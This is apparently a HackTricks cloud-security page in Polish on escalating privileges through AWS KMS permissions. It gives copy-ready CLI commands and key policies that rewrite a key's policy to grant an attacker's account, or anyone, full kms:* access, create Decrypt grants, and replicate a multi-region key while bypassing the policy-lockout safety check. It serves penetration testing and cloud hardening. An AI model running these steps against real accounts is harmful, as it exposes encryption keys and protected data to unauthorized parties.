AWS - KMS Privesc

Wspieraj HackTricks

KMS

Więcej informacji o KMS znajdziesz tutaj:

AWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

Z tymi uprawnieniami możliwe jest modyfikowanie uprawnień dostępu do klucza, aby mógł być używany przez inne konta lub nawet przez każdego:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "kms:CreateKey",
            "Resource": "*"
        },
        {
            "Effect": "Allow",
            "Action": "kms:CreateAlias",
            "Resource": "*"
        },
        {
            "Effect": "Allow",
            "Action": "kms:PutKeyPolicy",
            "Resource": "*"
        },
        {
            "Effect": "Allow",
            "Action": "kms:DescribeKey",
            "Resource": "*"
        }
    ]
}

Tworzenie klucza KMS

aws kms create-key --region <region>

Tworzenie aliasu dla klucza KMS

aws kms create-alias --alias-name alias/<alias_name> --target-key-id <key_id> --region <region>

Ustawianie polityki klucza KMS

aws kms put-key-policy --key-id <key_id> --policy-name default --policy file://policy.json --region <region>

Opis klucza KMS

aws kms describe-key --key-id <key_id> --region <region>
{
"Version" : "2012-10-17",
"Id" : "key-consolepolicy-3",
"Statement" : [
{
"Sid" : "Enable IAM User Permissions",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<origin_account>:root"
},
"Action" : "kms:*",
"Resource" : "*"
},
{
"Sid" : "Allow all use",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : [ "kms:*" ],
"Resource" : "*"
}
]
}

kms:CreateGrant

Pozwala podmiotowi używać klucza KMS:

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

Zauważ, że może minąć kilka minut, zanim KMS pozwoli użytkownikowi na użycie klucza po wygenerowaniu grantu. Po upływie tego czasu, podmiot może używać klucza KMS bez potrzeby specyfikowania czegokolwiek. Jednakże, jeśli konieczne jest natychmiastowe użycie grantu użyj tokena grantu (sprawdź poniższy kod). Dla więcej informacji przeczytaj to.

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Należy zauważyć, że możliwe jest wylistowanie grantów kluczy za pomocą:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

Z tymi uprawnieniami możliwe jest replikowanie klucza KMS z włączoną obsługą wielu regionów w innym regionie z inną polityką.

Tak więc, atakujący mógłby to wykorzystać do uzyskania privesc do klucza i jego użycia

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

To uprawnienie pozwala na użycie klucza do odszyfrowania informacji. Więcej informacji znajdziesz tutaj:

AWS - KMS Post Exploitation
Wspieraj HackTricks

Last updated